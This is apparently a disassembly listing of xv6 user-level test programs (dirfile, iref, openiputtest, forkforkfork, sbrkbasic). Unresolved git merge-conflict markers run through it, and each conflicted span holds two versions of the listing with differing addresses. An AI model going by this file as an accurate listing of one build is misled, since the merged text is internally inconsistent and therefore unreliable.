3660: 10a04b63 bgtz a0,3776 <dirfile+0x218>
close(fd);
3664: 8526 mv a0,s1
3666: 00002097 auipc ra,0x2
366a: e8e080e7 jalr -370(ra) # 54f4 <close>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
366e: 60e2 ld ra,24(sp)
3670: 6442 ld s0,16(sp)
3672: 64a2 ld s1,8(sp)
3674: 6902 ld s2,0(sp)
3676: 6105 addi sp,sp,32
3678: 8082 ret
<<<<<<< HEAD
367a: 85ca mv a1,s2
367c: 00004517 auipc a0,0x4
3680: e3450513 addi a0,a0,-460 # 74b0 <l_free+0x1a48>
3684: 00002097 auipc ra,0x2
3688: 1c2080e7 jalr 450(ra) # 5846 <printf>
368c: 4505 li a0,1
368e: 00002097 auipc ra,0x2
3692: e3e080e7 jalr -450(ra) # 54cc <exit>
3696: 85ca mv a1,s2
3698: 00004517 auipc a0,0x4
369c: e3850513 addi a0,a0,-456 # 74d0 <l_free+0x1a68>
36a0: 00002097 auipc ra,0x2
36a4: 1a6080e7 jalr 422(ra) # 5846 <printf>
36a8: 4505 li a0,1
36aa: 00002097 auipc ra,0x2
36ae: e22080e7 jalr -478(ra) # 54cc <exit>
36b2: 85ca mv a1,s2
36b4: 00004517 auipc a0,0x4
36b8: e4c50513 addi a0,a0,-436 # 7500 <l_free+0x1a98>
36bc: 00002097 auipc ra,0x2
36c0: 18a080e7 jalr 394(ra) # 5846 <printf>
36c4: 4505 li a0,1
36c6: 00002097 auipc ra,0x2
36ca: e06080e7 jalr -506(ra) # 54cc <exit>
36ce: 85ca mv a1,s2
36d0: 00004517 auipc a0,0x4
36d4: e3050513 addi a0,a0,-464 # 7500 <l_free+0x1a98>
36d8: 00002097 auipc ra,0x2
36dc: 16e080e7 jalr 366(ra) # 5846 <printf>
36e0: 4505 li a0,1
36e2: 00002097 auipc ra,0x2
36e6: dea080e7 jalr -534(ra) # 54cc <exit>
36ea: 85ca mv a1,s2
36ec: 00004517 auipc a0,0x4
36f0: e3c50513 addi a0,a0,-452 # 7528 <l_free+0x1ac0>
36f4: 00002097 auipc ra,0x2
36f8: 152080e7 jalr 338(ra) # 5846 <printf>
36fc: 4505 li a0,1
36fe: 00002097 auipc ra,0x2
3702: dce080e7 jalr -562(ra) # 54cc <exit>
3706: 85ca mv a1,s2
3708: 00004517 auipc a0,0x4
370c: e4850513 addi a0,a0,-440 # 7550 <l_free+0x1ae8>
3710: 00002097 auipc ra,0x2
3714: 136080e7 jalr 310(ra) # 5846 <printf>
3718: 4505 li a0,1
371a: 00002097 auipc ra,0x2
371e: db2080e7 jalr -590(ra) # 54cc <exit>
3722: 85ca mv a1,s2
3724: 00004517 auipc a0,0x4
3728: e5450513 addi a0,a0,-428 # 7578 <l_free+0x1b10>
372c: 00002097 auipc ra,0x2
3730: 11a080e7 jalr 282(ra) # 5846 <printf>
3734: 4505 li a0,1
3736: 00002097 auipc ra,0x2
373a: d96080e7 jalr -618(ra) # 54cc <exit>
373e: 85ca mv a1,s2
3740: 00004517 auipc a0,0x4
3744: e6050513 addi a0,a0,-416 # 75a0 <l_free+0x1b38>
3748: 00002097 auipc ra,0x2
374c: 0fe080e7 jalr 254(ra) # 5846 <printf>
3750: 4505 li a0,1
3752: 00002097 auipc ra,0x2
3756: d7a080e7 jalr -646(ra) # 54cc <exit>
375a: 85ca mv a1,s2
375c: 00004517 auipc a0,0x4
3760: e6450513 addi a0,a0,-412 # 75c0 <l_free+0x1b58>
3764: 00002097 auipc ra,0x2
3768: 0e2080e7 jalr 226(ra) # 5846 <printf>
376c: 4505 li a0,1
376e: 00002097 auipc ra,0x2
3772: d5e080e7 jalr -674(ra) # 54cc <exit>
3776: 85ca mv a1,s2
3778: 00004517 auipc a0,0x4
377c: e7050513 addi a0,a0,-400 # 75e8 <l_free+0x1b80>
3780: 00002097 auipc ra,0x2
3784: 0c6080e7 jalr 198(ra) # 5846 <printf>
=======
printf("%s: create dirfile failed\n", s);
367a: 85ca mv a1,s2
367c: 00004517 auipc a0,0x4
3680: e3450513 addi a0,a0,-460 # 74b0 <l_free+0x1a4a>
3684: 00002097 auipc ra,0x2
3688: 1c0080e7 jalr 448(ra) # 5844 <printf>
exit(1);
368c: 4505 li a0,1
368e: 00002097 auipc ra,0x2
3692: e3e080e7 jalr -450(ra) # 54cc <exit>
printf("%s: chdir dirfile succeeded!\n", s);
3696: 85ca mv a1,s2
3698: 00004517 auipc a0,0x4
369c: e3850513 addi a0,a0,-456 # 74d0 <l_free+0x1a6a>
36a0: 00002097 auipc ra,0x2
36a4: 1a4080e7 jalr 420(ra) # 5844 <printf>
exit(1);
36a8: 4505 li a0,1
36aa: 00002097 auipc ra,0x2
36ae: e22080e7 jalr -478(ra) # 54cc <exit>
printf("%s: create dirfile/xx succeeded!\n", s);
36b2: 85ca mv a1,s2
36b4: 00004517 auipc a0,0x4
36b8: e4c50513 addi a0,a0,-436 # 7500 <l_free+0x1a9a>
36bc: 00002097 auipc ra,0x2
36c0: 188080e7 jalr 392(ra) # 5844 <printf>
exit(1);
36c4: 4505 li a0,1
36c6: 00002097 auipc ra,0x2
36ca: e06080e7 jalr -506(ra) # 54cc <exit>
printf("%s: create dirfile/xx succeeded!\n", s);
36ce: 85ca mv a1,s2
36d0: 00004517 auipc a0,0x4
36d4: e3050513 addi a0,a0,-464 # 7500 <l_free+0x1a9a>
36d8: 00002097 auipc ra,0x2
36dc: 16c080e7 jalr 364(ra) # 5844 <printf>
exit(1);
36e0: 4505 li a0,1
36e2: 00002097 auipc ra,0x2
36e6: dea080e7 jalr -534(ra) # 54cc <exit>
printf("%s: mkdir dirfile/xx succeeded!\n", s);
36ea: 85ca mv a1,s2
36ec: 00004517 auipc a0,0x4
36f0: e3c50513 addi a0,a0,-452 # 7528 <l_free+0x1ac2>
36f4: 00002097 auipc ra,0x2
36f8: 150080e7 jalr 336(ra) # 5844 <printf>
exit(1);
36fc: 4505 li a0,1
36fe: 00002097 auipc ra,0x2
3702: dce080e7 jalr -562(ra) # 54cc <exit>
printf("%s: unlink dirfile/xx succeeded!\n", s);
3706: 85ca mv a1,s2
3708: 00004517 auipc a0,0x4
370c: e4850513 addi a0,a0,-440 # 7550 <l_free+0x1aea>
3710: 00002097 auipc ra,0x2
3714: 134080e7 jalr 308(ra) # 5844 <printf>
exit(1);
3718: 4505 li a0,1
371a: 00002097 auipc ra,0x2
371e: db2080e7 jalr -590(ra) # 54cc <exit>
printf("%s: link to dirfile/xx succeeded!\n", s);
3722: 85ca mv a1,s2
3724: 00004517 auipc a0,0x4
3728: e5450513 addi a0,a0,-428 # 7578 <l_free+0x1b12>
372c: 00002097 auipc ra,0x2
3730: 118080e7 jalr 280(ra) # 5844 <printf>
exit(1);
3734: 4505 li a0,1
3736: 00002097 auipc ra,0x2
373a: d96080e7 jalr -618(ra) # 54cc <exit>
printf("%s: unlink dirfile failed!\n", s);
373e: 85ca mv a1,s2
3740: 00004517 auipc a0,0x4
3744: e6050513 addi a0,a0,-416 # 75a0 <l_free+0x1b3a>
3748: 00002097 auipc ra,0x2
374c: 0fc080e7 jalr 252(ra) # 5844 <printf>
exit(1);
3750: 4505 li a0,1
3752: 00002097 auipc ra,0x2
3756: d7a080e7 jalr -646(ra) # 54cc <exit>
printf("%s: open . for writing succeeded!\n", s);
375a: 85ca mv a1,s2
375c: 00004517 auipc a0,0x4
3760: e6450513 addi a0,a0,-412 # 75c0 <l_free+0x1b5a>
3764: 00002097 auipc ra,0x2
3768: 0e0080e7 jalr 224(ra) # 5844 <printf>
exit(1);
376c: 4505 li a0,1
376e: 00002097 auipc ra,0x2
3772: d5e080e7 jalr -674(ra) # 54cc <exit>
printf("%s: write . succeeded!\n", s);
3776: 85ca mv a1,s2
3778: 00004517 auipc a0,0x4
377c: e7050513 addi a0,a0,-400 # 75e8 <l_free+0x1b82>
3780: 00002097 auipc ra,0x2
3784: 0c4080e7 jalr 196(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3788: 4505 li a0,1
378a: 00002097 auipc ra,0x2
378e: d42080e7 jalr -702(ra) # 54cc <exit>
0000000000003792 <iref>:
<<<<<<< HEAD
=======
void iref(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3792: 7139 addi sp,sp,-64
3794: fc06 sd ra,56(sp)
3796: f822 sd s0,48(sp)
3798: f426 sd s1,40(sp)
379a: f04a sd s2,32(sp)
379c: ec4e sd s3,24(sp)
379e: e852 sd s4,16(sp)
37a0: e456 sd s5,8(sp)
37a2: e05a sd s6,0(sp)
37a4: 0080 addi s0,sp,64
37a6: 8b2a mv s6,a0
37a8: 03300913 li s2,51
<<<<<<< HEAD
37ac: 00004a17 auipc s4,0x4
37b0: e54a0a13 addi s4,s4,-428 # 7600 <l_free+0x1b98>
37b4: 00004497 auipc s1,0x4
37b8: 95448493 addi s1,s1,-1708 # 7108 <l_free+0x16a0>
37bc: 00002a97 auipc s5,0x2
37c0: 7c4a8a93 addi s5,s5,1988 # 5f80 <l_free+0x518>
37c4: 00004997 auipc s3,0x4
37c8: d3498993 addi s3,s3,-716 # 74f8 <l_free+0x1a90>
37cc: a891 j 3820 <iref+0x8e>
37ce: 85da mv a1,s6
37d0: 00004517 auipc a0,0x4
37d4: e3850513 addi a0,a0,-456 # 7608 <l_free+0x1ba0>
37d8: 00002097 auipc ra,0x2
37dc: 06e080e7 jalr 110(ra) # 5846 <printf>
37e0: 4505 li a0,1
37e2: 00002097 auipc ra,0x2
37e6: cea080e7 jalr -790(ra) # 54cc <exit>
37ea: 85da mv a1,s6
37ec: 00004517 auipc a0,0x4
37f0: e3450513 addi a0,a0,-460 # 7620 <l_free+0x1bb8>
37f4: 00002097 auipc ra,0x2
37f8: 052080e7 jalr 82(ra) # 5846 <printf>
37fc: 4505 li a0,1
37fe: 00002097 auipc ra,0x2
3802: cce080e7 jalr -818(ra) # 54cc <exit>
3806: 00002097 auipc ra,0x2
380a: cee080e7 jalr -786(ra) # 54f4 <close>
380e: a889 j 3860 <iref+0xce>
3810: 854e mv a0,s3
3812: 00002097 auipc ra,0x2
3816: d0a080e7 jalr -758(ra) # 551c <unlink>
381a: 397d addiw s2,s2,-1
381c: 06090063 beqz s2,387c <iref+0xea>
=======
if (mkdir("irefd") != 0) {
37ac: 00004a17 auipc s4,0x4
37b0: e54a0a13 addi s4,s4,-428 # 7600 <l_free+0x1b9a>
mkdir("");
37b4: 00004497 auipc s1,0x4
37b8: 95448493 addi s1,s1,-1708 # 7108 <l_free+0x16a2>
link("README", "");
37bc: 00002a97 auipc s5,0x2
37c0: 7c4a8a93 addi s5,s5,1988 # 5f80 <l_free+0x51a>
fd = open("xx", O_CREATE);
37c4: 00004997 auipc s3,0x4
37c8: d3498993 addi s3,s3,-716 # 74f8 <l_free+0x1a92>
37cc: a891 j 3820 <iref+0x8e>
printf("%s: mkdir irefd failed\n", s);
37ce: 85da mv a1,s6
37d0: 00004517 auipc a0,0x4
37d4: e3850513 addi a0,a0,-456 # 7608 <l_free+0x1ba2>
37d8: 00002097 auipc ra,0x2
37dc: 06c080e7 jalr 108(ra) # 5844 <printf>
exit(1);
37e0: 4505 li a0,1
37e2: 00002097 auipc ra,0x2
37e6: cea080e7 jalr -790(ra) # 54cc <exit>
printf("%s: chdir irefd failed\n", s);
37ea: 85da mv a1,s6
37ec: 00004517 auipc a0,0x4
37f0: e3450513 addi a0,a0,-460 # 7620 <l_free+0x1bba>
37f4: 00002097 auipc ra,0x2
37f8: 050080e7 jalr 80(ra) # 5844 <printf>
exit(1);
37fc: 4505 li a0,1
37fe: 00002097 auipc ra,0x2
3802: cce080e7 jalr -818(ra) # 54cc <exit>
close(fd);
3806: 00002097 auipc ra,0x2
380a: cee080e7 jalr -786(ra) # 54f4 <close>
380e: a889 j 3860 <iref+0xce>
unlink("xx");
3810: 854e mv a0,s3
3812: 00002097 auipc ra,0x2
3816: d0a080e7 jalr -758(ra) # 551c <unlink>
for (i = 0; i < NINODE + 1; i++) {
381a: 397d addiw s2,s2,-1
381c: 06090063 beqz s2,387c <iref+0xea>
if (mkdir("irefd") != 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3820: 8552 mv a0,s4
3822: 00002097 auipc ra,0x2
3826: d12080e7 jalr -750(ra) # 5534 <mkdir>
382a: f155 bnez a0,37ce <iref+0x3c>
<<<<<<< HEAD
=======
if (chdir("irefd") != 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
382c: 8552 mv a0,s4
382e: 00002097 auipc ra,0x2
3832: d0e080e7 jalr -754(ra) # 553c <chdir>
3836: f955 bnez a0,37ea <iref+0x58>
<<<<<<< HEAD
3838: 8526 mv a0,s1
383a: 00002097 auipc ra,0x2
383e: cfa080e7 jalr -774(ra) # 5534 <mkdir>
=======
mkdir("");
3838: 8526 mv a0,s1
383a: 00002097 auipc ra,0x2
383e: cfa080e7 jalr -774(ra) # 5534 <mkdir>
link("README", "");
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3842: 85a6 mv a1,s1
3844: 8556 mv a0,s5
3846: 00002097 auipc ra,0x2
384a: ce6080e7 jalr -794(ra) # 552c <link>
<<<<<<< HEAD
=======
fd = open("", O_CREATE);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
384e: 20000593 li a1,512
3852: 8526 mv a0,s1
3854: 00002097 auipc ra,0x2
3858: cb8080e7 jalr -840(ra) # 550c <open>
<<<<<<< HEAD
385c: fa0555e3 bgez a0,3806 <iref+0x74>
=======
if (fd >= 0)
385c: fa0555e3 bgez a0,3806 <iref+0x74>
fd = open("xx", O_CREATE);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3860: 20000593 li a1,512
3864: 854e mv a0,s3
3866: 00002097 auipc ra,0x2
386a: ca6080e7 jalr -858(ra) # 550c <open>
<<<<<<< HEAD
386e: fa0541e3 bltz a0,3810 <iref+0x7e>
=======
if (fd >= 0)
386e: fa0541e3 bltz a0,3810 <iref+0x7e>
close(fd);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3872: 00002097 auipc ra,0x2
3876: c82080e7 jalr -894(ra) # 54f4 <close>
387a: bf59 j 3810 <iref+0x7e>
387c: 03300493 li s1,51
<<<<<<< HEAD
3880: 00004997 auipc s3,0x4
3884: ba098993 addi s3,s3,-1120 # 7420 <l_free+0x19b8>
3888: 00004917 auipc s2,0x4
388c: d7890913 addi s2,s2,-648 # 7600 <l_free+0x1b98>
3890: 854e mv a0,s3
3892: 00002097 auipc ra,0x2
3896: caa080e7 jalr -854(ra) # 553c <chdir>
389a: 854a mv a0,s2
389c: 00002097 auipc ra,0x2
38a0: c80080e7 jalr -896(ra) # 551c <unlink>
38a4: 34fd addiw s1,s1,-1
38a6: f4ed bnez s1,3890 <iref+0xfe>
38a8: 00003517 auipc a0,0x3
38ac: 58050513 addi a0,a0,1408 # 6e28 <l_free+0x13c0>
38b0: 00002097 auipc ra,0x2
38b4: c8c080e7 jalr -884(ra) # 553c <chdir>
=======
chdir("..");
3880: 00004997 auipc s3,0x4
3884: ba098993 addi s3,s3,-1120 # 7420 <l_free+0x19ba>
unlink("irefd");
3888: 00004917 auipc s2,0x4
388c: d7890913 addi s2,s2,-648 # 7600 <l_free+0x1b9a>
chdir("..");
3890: 854e mv a0,s3
3892: 00002097 auipc ra,0x2
3896: caa080e7 jalr -854(ra) # 553c <chdir>
unlink("irefd");
389a: 854a mv a0,s2
389c: 00002097 auipc ra,0x2
38a0: c80080e7 jalr -896(ra) # 551c <unlink>
for (i = 0; i < NINODE + 1; i++) {
38a4: 34fd addiw s1,s1,-1
38a6: f4ed bnez s1,3890 <iref+0xfe>
chdir("/");
38a8: 00003517 auipc a0,0x3
38ac: 58050513 addi a0,a0,1408 # 6e28 <l_free+0x13c2>
38b0: 00002097 auipc ra,0x2
38b4: c8c080e7 jalr -884(ra) # 553c <chdir>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
38b8: 70e2 ld ra,56(sp)
38ba: 7442 ld s0,48(sp)
38bc: 74a2 ld s1,40(sp)
38be: 7902 ld s2,32(sp)
38c0: 69e2 ld s3,24(sp)
38c2: 6a42 ld s4,16(sp)
38c4: 6aa2 ld s5,8(sp)
38c6: 6b02 ld s6,0(sp)
38c8: 6121 addi sp,sp,64
38ca: 8082 ret
00000000000038cc <openiputtest>:
<<<<<<< HEAD
=======
void openiputtest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
38cc: 7179 addi sp,sp,-48
38ce: f406 sd ra,40(sp)
38d0: f022 sd s0,32(sp)
38d2: ec26 sd s1,24(sp)
38d4: 1800 addi s0,sp,48
38d6: 84aa mv s1,a0
<<<<<<< HEAD
38d8: 00004517 auipc a0,0x4
38dc: d6050513 addi a0,a0,-672 # 7638 <l_free+0x1bd0>
38e0: 00002097 auipc ra,0x2
38e4: c54080e7 jalr -940(ra) # 5534 <mkdir>
38e8: 04054263 bltz a0,392c <openiputtest+0x60>
38ec: 00002097 auipc ra,0x2
38f0: bd8080e7 jalr -1064(ra) # 54c4 <fork>
38f4: 04054a63 bltz a0,3948 <openiputtest+0x7c>
38f8: e93d bnez a0,396e <openiputtest+0xa2>
38fa: 4589 li a1,2
38fc: 00004517 auipc a0,0x4
3900: d3c50513 addi a0,a0,-708 # 7638 <l_free+0x1bd0>
3904: 00002097 auipc ra,0x2
3908: c08080e7 jalr -1016(ra) # 550c <open>
390c: 04054c63 bltz a0,3964 <openiputtest+0x98>
3910: 85a6 mv a1,s1
3912: 00004517 auipc a0,0x4
3916: d4650513 addi a0,a0,-698 # 7658 <l_free+0x1bf0>
391a: 00002097 auipc ra,0x2
391e: f2c080e7 jalr -212(ra) # 5846 <printf>
3922: 4505 li a0,1
3924: 00002097 auipc ra,0x2
3928: ba8080e7 jalr -1112(ra) # 54cc <exit>
392c: 85a6 mv a1,s1
392e: 00004517 auipc a0,0x4
3932: d1250513 addi a0,a0,-750 # 7640 <l_free+0x1bd8>
3936: 00002097 auipc ra,0x2
393a: f10080e7 jalr -240(ra) # 5846 <printf>
393e: 4505 li a0,1
3940: 00002097 auipc ra,0x2
3944: b8c080e7 jalr -1140(ra) # 54cc <exit>
3948: 85a6 mv a1,s1
394a: 00003517 auipc a0,0x3
394e: be650513 addi a0,a0,-1050 # 6530 <l_free+0xac8>
3952: 00002097 auipc ra,0x2
3956: ef4080e7 jalr -268(ra) # 5846 <printf>
395a: 4505 li a0,1
395c: 00002097 auipc ra,0x2
3960: b70080e7 jalr -1168(ra) # 54cc <exit>
3964: 4501 li a0,0
3966: 00002097 auipc ra,0x2
396a: b66080e7 jalr -1178(ra) # 54cc <exit>
396e: 4505 li a0,1
3970: 00002097 auipc ra,0x2
3974: bec080e7 jalr -1044(ra) # 555c <sleep>
3978: 00004517 auipc a0,0x4
397c: cc050513 addi a0,a0,-832 # 7638 <l_free+0x1bd0>
3980: 00002097 auipc ra,0x2
3984: b9c080e7 jalr -1124(ra) # 551c <unlink>
3988: cd19 beqz a0,39a6 <openiputtest+0xda>
398a: 85a6 mv a1,s1
398c: 00003517 auipc a0,0x3
3990: d9450513 addi a0,a0,-620 # 6720 <l_free+0xcb8>
3994: 00002097 auipc ra,0x2
3998: eb2080e7 jalr -334(ra) # 5846 <printf>
399c: 4505 li a0,1
399e: 00002097 auipc ra,0x2
39a2: b2e080e7 jalr -1234(ra) # 54cc <exit>
39a6: fdc40513 addi a0,s0,-36
39aa: 00002097 auipc ra,0x2
39ae: b2a080e7 jalr -1238(ra) # 54d4 <wait>
=======
if (mkdir("oidir") < 0) {
38d8: 00004517 auipc a0,0x4
38dc: d6050513 addi a0,a0,-672 # 7638 <l_free+0x1bd2>
38e0: 00002097 auipc ra,0x2
38e4: c54080e7 jalr -940(ra) # 5534 <mkdir>
38e8: 04054263 bltz a0,392c <openiputtest+0x60>
pid = fork();
38ec: 00002097 auipc ra,0x2
38f0: bd8080e7 jalr -1064(ra) # 54c4 <fork>
if (pid < 0) {
38f4: 04054a63 bltz a0,3948 <openiputtest+0x7c>
if (pid == 0) {
38f8: e93d bnez a0,396e <openiputtest+0xa2>
int fd = open("oidir", O_RDWR);
38fa: 4589 li a1,2
38fc: 00004517 auipc a0,0x4
3900: d3c50513 addi a0,a0,-708 # 7638 <l_free+0x1bd2>
3904: 00002097 auipc ra,0x2
3908: c08080e7 jalr -1016(ra) # 550c <open>
if (fd >= 0) {
390c: 04054c63 bltz a0,3964 <openiputtest+0x98>
printf("%s: open directory for write succeeded\n", s);
3910: 85a6 mv a1,s1
3912: 00004517 auipc a0,0x4
3916: d4650513 addi a0,a0,-698 # 7658 <l_free+0x1bf2>
391a: 00002097 auipc ra,0x2
391e: f2a080e7 jalr -214(ra) # 5844 <printf>
exit(1);
3922: 4505 li a0,1
3924: 00002097 auipc ra,0x2
3928: ba8080e7 jalr -1112(ra) # 54cc <exit>
printf("%s: mkdir oidir failed\n", s);
392c: 85a6 mv a1,s1
392e: 00004517 auipc a0,0x4
3932: d1250513 addi a0,a0,-750 # 7640 <l_free+0x1bda>
3936: 00002097 auipc ra,0x2
393a: f0e080e7 jalr -242(ra) # 5844 <printf>
exit(1);
393e: 4505 li a0,1
3940: 00002097 auipc ra,0x2
3944: b8c080e7 jalr -1140(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
3948: 85a6 mv a1,s1
394a: 00003517 auipc a0,0x3
394e: be650513 addi a0,a0,-1050 # 6530 <l_free+0xaca>
3952: 00002097 auipc ra,0x2
3956: ef2080e7 jalr -270(ra) # 5844 <printf>
exit(1);
395a: 4505 li a0,1
395c: 00002097 auipc ra,0x2
3960: b70080e7 jalr -1168(ra) # 54cc <exit>
exit(0);
3964: 4501 li a0,0
3966: 00002097 auipc ra,0x2
396a: b66080e7 jalr -1178(ra) # 54cc <exit>
sleep(1);
396e: 4505 li a0,1
3970: 00002097 auipc ra,0x2
3974: bec080e7 jalr -1044(ra) # 555c <sleep>
if (unlink("oidir") != 0) {
3978: 00004517 auipc a0,0x4
397c: cc050513 addi a0,a0,-832 # 7638 <l_free+0x1bd2>
3980: 00002097 auipc ra,0x2
3984: b9c080e7 jalr -1124(ra) # 551c <unlink>
3988: cd19 beqz a0,39a6 <openiputtest+0xda>
printf("%s: unlink failed\n", s);
398a: 85a6 mv a1,s1
398c: 00003517 auipc a0,0x3
3990: d9450513 addi a0,a0,-620 # 6720 <l_free+0xcba>
3994: 00002097 auipc ra,0x2
3998: eb0080e7 jalr -336(ra) # 5844 <printf>
exit(1);
399c: 4505 li a0,1
399e: 00002097 auipc ra,0x2
39a2: b2e080e7 jalr -1234(ra) # 54cc <exit>
wait(&xstatus);
39a6: fdc40513 addi a0,s0,-36
39aa: 00002097 auipc ra,0x2
39ae: b2a080e7 jalr -1238(ra) # 54d4 <wait>
exit(xstatus);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
39b2: fdc42503 lw a0,-36(s0)
39b6: 00002097 auipc ra,0x2
39ba: b16080e7 jalr -1258(ra) # 54cc <exit>
00000000000039be <forkforkfork>:
<<<<<<< HEAD
=======
void forkforkfork(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
39be: 1101 addi sp,sp,-32
39c0: ec06 sd ra,24(sp)
39c2: e822 sd s0,16(sp)
39c4: e426 sd s1,8(sp)
39c6: 1000 addi s0,sp,32
39c8: 84aa mv s1,a0
<<<<<<< HEAD
39ca: 00004517 auipc a0,0x4
39ce: cb650513 addi a0,a0,-842 # 7680 <l_free+0x1c18>
39d2: 00002097 auipc ra,0x2
39d6: b4a080e7 jalr -1206(ra) # 551c <unlink>
39da: 00002097 auipc ra,0x2
39de: aea080e7 jalr -1302(ra) # 54c4 <fork>
39e2: 04054563 bltz a0,3a2c <forkforkfork+0x6e>
39e6: c12d beqz a0,3a48 <forkforkfork+0x8a>
39e8: 4551 li a0,20
39ea: 00002097 auipc ra,0x2
39ee: b72080e7 jalr -1166(ra) # 555c <sleep>
39f2: 20200593 li a1,514
39f6: 00004517 auipc a0,0x4
39fa: c8a50513 addi a0,a0,-886 # 7680 <l_free+0x1c18>
=======
unlink("stopforking");
39ca: 00004517 auipc a0,0x4
39ce: cb650513 addi a0,a0,-842 # 7680 <l_free+0x1c1a>
39d2: 00002097 auipc ra,0x2
39d6: b4a080e7 jalr -1206(ra) # 551c <unlink>
int pid = fork();
39da: 00002097 auipc ra,0x2
39de: aea080e7 jalr -1302(ra) # 54c4 <fork>
if (pid < 0) {
39e2: 04054563 bltz a0,3a2c <forkforkfork+0x6e>
if (pid == 0) {
39e6: c12d beqz a0,3a48 <forkforkfork+0x8a>
sleep(20); // two seconds
39e8: 4551 li a0,20
39ea: 00002097 auipc ra,0x2
39ee: b72080e7 jalr -1166(ra) # 555c <sleep>
close(open("stopforking", O_CREATE | O_RDWR));
39f2: 20200593 li a1,514
39f6: 00004517 auipc a0,0x4
39fa: c8a50513 addi a0,a0,-886 # 7680 <l_free+0x1c1a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
39fe: 00002097 auipc ra,0x2
3a02: b0e080e7 jalr -1266(ra) # 550c <open>
3a06: 00002097 auipc ra,0x2
3a0a: aee080e7 jalr -1298(ra) # 54f4 <close>
<<<<<<< HEAD
3a0e: 4501 li a0,0
3a10: 00002097 auipc ra,0x2
3a14: ac4080e7 jalr -1340(ra) # 54d4 <wait>
3a18: 4529 li a0,10
3a1a: 00002097 auipc ra,0x2
3a1e: b42080e7 jalr -1214(ra) # 555c <sleep>
=======
wait(0);
3a0e: 4501 li a0,0
3a10: 00002097 auipc ra,0x2
3a14: ac4080e7 jalr -1340(ra) # 54d4 <wait>
sleep(10); // one second
3a18: 4529 li a0,10
3a1a: 00002097 auipc ra,0x2
3a1e: b42080e7 jalr -1214(ra) # 555c <sleep>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3a22: 60e2 ld ra,24(sp)
3a24: 6442 ld s0,16(sp)
3a26: 64a2 ld s1,8(sp)
3a28: 6105 addi sp,sp,32
3a2a: 8082 ret
<<<<<<< HEAD
3a2c: 85a6 mv a1,s1
3a2e: 00003517 auipc a0,0x3
3a32: cc250513 addi a0,a0,-830 # 66f0 <l_free+0xc88>
3a36: 00002097 auipc ra,0x2
3a3a: e10080e7 jalr -496(ra) # 5846 <printf>
3a3e: 4505 li a0,1
3a40: 00002097 auipc ra,0x2
3a44: a8c080e7 jalr -1396(ra) # 54cc <exit>
3a48: 00004497 auipc s1,0x4
3a4c: c3848493 addi s1,s1,-968 # 7680 <l_free+0x1c18>
=======
printf("%s: fork failed", s);
3a2c: 85a6 mv a1,s1
3a2e: 00003517 auipc a0,0x3
3a32: cc250513 addi a0,a0,-830 # 66f0 <l_free+0xc8a>
3a36: 00002097 auipc ra,0x2
3a3a: e0e080e7 jalr -498(ra) # 5844 <printf>
exit(1);
3a3e: 4505 li a0,1
3a40: 00002097 auipc ra,0x2
3a44: a8c080e7 jalr -1396(ra) # 54cc <exit>
int fd = open("stopforking", 0);
3a48: 00004497 auipc s1,0x4
3a4c: c3848493 addi s1,s1,-968 # 7680 <l_free+0x1c1a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3a50: 4581 li a1,0
3a52: 8526 mv a0,s1
3a54: 00002097 auipc ra,0x2
3a58: ab8080e7 jalr -1352(ra) # 550c <open>
<<<<<<< HEAD
3a5c: 02055463 bgez a0,3a84 <forkforkfork+0xc6>
3a60: 00002097 auipc ra,0x2
3a64: a64080e7 jalr -1436(ra) # 54c4 <fork>
3a68: fe0554e3 bgez a0,3a50 <forkforkfork+0x92>
=======
if (fd >= 0) {
3a5c: 02055463 bgez a0,3a84 <forkforkfork+0xc6>
if (fork() < 0) {
3a60: 00002097 auipc ra,0x2
3a64: a64080e7 jalr -1436(ra) # 54c4 <fork>
3a68: fe0554e3 bgez a0,3a50 <forkforkfork+0x92>
close(open("stopforking", O_CREATE | O_RDWR));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3a6c: 20200593 li a1,514
3a70: 8526 mv a0,s1
3a72: 00002097 auipc ra,0x2
3a76: a9a080e7 jalr -1382(ra) # 550c <open>
3a7a: 00002097 auipc ra,0x2
3a7e: a7a080e7 jalr -1414(ra) # 54f4 <close>
3a82: b7f9 j 3a50 <forkforkfork+0x92>
<<<<<<< HEAD
=======
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3a84: 4501 li a0,0
3a86: 00002097 auipc ra,0x2
3a8a: a46080e7 jalr -1466(ra) # 54cc <exit>
0000000000003a8e <sbrkbasic>:
<<<<<<< HEAD
=======
void sbrkbasic(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3a8e: 7139 addi sp,sp,-64
3a90: fc06 sd ra,56(sp)
3a92: f822 sd s0,48(sp)
3a94: f426 sd s1,40(sp)
3a96: f04a sd s2,32(sp)
3a98: ec4e sd s3,24(sp)
3a9a: e852 sd s4,16(sp)
3a9c: 0080 addi s0,sp,64
3a9e: 8a2a mv s4,a0
<<<<<<< HEAD
3aa0: 00002097 auipc ra,0x2
3aa4: a24080e7 jalr -1500(ra) # 54c4 <fork>
3aa8: 02054c63 bltz a0,3ae0 <sbrkbasic+0x52>
3aac: ed21 bnez a0,3b04 <sbrkbasic+0x76>
3aae: 40000537 lui a0,0x40000
3ab2: 00002097 auipc ra,0x2
3ab6: aa2080e7 jalr -1374(ra) # 5554 <sbrk>
3aba: 57fd li a5,-1
3abc: 02f50f63 beq a0,a5,3afa <sbrkbasic+0x6c>
3ac0: 400007b7 lui a5,0x40000
